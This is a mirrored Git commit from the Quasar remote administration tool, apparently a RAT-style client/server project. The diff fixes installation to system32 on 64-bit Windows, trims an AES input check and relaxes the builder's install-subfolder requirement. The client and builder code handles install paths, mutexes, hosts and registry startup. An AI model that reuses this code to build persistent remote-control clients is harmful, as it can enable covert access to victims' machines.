quasar
/
Quasar
mirror of https://github.com/quasar/Quasar.git
1
0
Fork 0
Code Issues Projects Releases Wiki Activity

Fixed Installation to system32 fail on 64-bit OS

This commit is contained in:
MaxXor 2015-08-24 20:35:53 +02:00
parent fd877a13e5
commit 3c0e930bc9
5 changed files with 22 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

11
Client/Core/Helper/FormatHelper.cs
View File

@ -1,6 +1,8 @@
using System.Drawing;
using System.IO;
using System.Text;
using System.Text.RegularExpressions;
using xClient.Core.Utilities;
namespace xClient.Core.Helper
{
@ -39,5 +41,14 @@ namespace xClient.Core.Helper
input = input.Remove(input.Length - 2);
return input;
}
public static string GetSystemDirectory()
{
var path = string.Empty;
var buffer = new StringBuilder(260); // MAX_PATH
if (NativeMethods.GetSystemWow64Directory(buffer, (uint)buffer.Capacity) != 0)
path = buffer.ToString();
return path;
}
}
}

5
Client/Core/Utilities/NativeMethods.cs
View File

@ -1,6 +1,6 @@
using System;
using System.Runtime.InteropServices;
using xClient.Core.Helper;
using System.Text;
namespace xClient.Core.Utilities
{
@ -40,6 +40,9 @@ namespace xClient.Core.Utilities
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool IsWow64Process(IntPtr hProcess, out bool wow64Process);
[DllImport("kernel32.dll", CharSet = CharSet.Unicode)]
public static extern int GetSystemWow64Directory([Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder lpBuffer, [MarshalAs(UnmanagedType.U4)] uint size);
[DllImport("user32.dll")]
public static extern bool GetLastInputInfo(ref LASTINPUTINFO plii);

6
Client/Program.cs
View File

@ -118,7 +118,13 @@ namespace xClient
AES.PreHashKey(Settings.PASSWORD);
_hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
// https://stackoverflow.com/questions/3540930/getting-syswow64-directory-using-32-bit-application
if (PlatformHelper.Architecture == 64 && Settings.DIR.Contains("Windows\\system32"))
Settings.DIR = FormatHelper.GetSystemDirectory();
ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
GeoLocationHelper.Initialize();
if (!MutexHelper.CreateMutex(Settings.MUTEX))

1
Server/Core/Encryption/AES.cs
View File

@ -62,7 +62,6 @@ namespace xServer.Core.Encryption
public static byte[] Encrypt(byte[] input, byte[] key)
{
if (key == null || key.Length == 0) throw new Exception("Key can not be empty.");
if (input == null || input.Length == 0) throw new ArgumentException("Input can not be empty.");
using (var md5 = new MD5CryptoServiceProvider())
{

3
Server/Forms/FrmBuilder.cs
View File

@ -214,8 +214,7 @@ namespace xServer.Forms
{
if (!string.IsNullOrEmpty(txtTag.Text) && !string.IsNullOrEmpty(txtMutex.Text) && // General Settings
lstHosts.Items.Count > 0 && !string.IsNullOrEmpty(txtPassword.Text) && !string.IsNullOrEmpty(txtDelay.Text) && // Connection
!chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrEmpty(txtInstallname.Text) && // Installation
!string.IsNullOrEmpty(txtInstallsub.Text)) && // Installation
!chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrEmpty(txtInstallname.Text)) && // Installation
!chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrEmpty(txtRegistryKeyName.Text))) // Installation
{
string output = string.Empty;